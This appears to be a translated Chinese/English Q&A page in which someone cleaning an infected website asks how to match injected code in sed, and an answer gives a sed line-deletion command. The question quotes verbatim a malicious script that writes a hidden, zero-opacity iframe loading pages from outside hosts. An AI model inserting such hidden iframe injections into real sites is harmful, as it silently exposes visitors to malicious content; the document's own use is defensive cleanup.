清理 iframe 恶意软件 [英] Cleaning up iframe malware

问题描述

我正在帮助某人清理网站上的恶意软件感染，但我很难正确匹配 sed 中的某些字符串，因此我可以创建一个脚本来批量搜索并替换/删除它.

I'm helping someone clean up a malware infection on a site and I'm having a difficult time correctly matching some strings in sed so I can create a script to mass search and replace / remove it.

字符串是:

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</script>

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>

我似乎无法弄清楚如何转义这些行中的各种字符...

I can't seem to figure out how to escape the various characters in those lines...

如果我试着说如果它匹配 http://vidintex.com/includes/class.pop.php 就删除整行，它也会删除结束的 html </.html 文件中的 body> 也是如此.

If I try to just say delete the entire line if it matches http://vidintex.com/includes/class.pop.php it also deletes the closing html </body> in the .html files as well.

所以我需要能够在 sed 中匹配这整行:

So I need to be able to match this entire line in sed:

    <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>

任何帮助将不胜感激！

推荐答案

您可以尝试这样做:

sed -i '/vidintex.com\/includes\/class.pop.php/d' files*

这将删除所有包含 vidintex.com/includes/class.pop.php 的行

This will delete all lines containing vidintex.com/includes/class.pop.php

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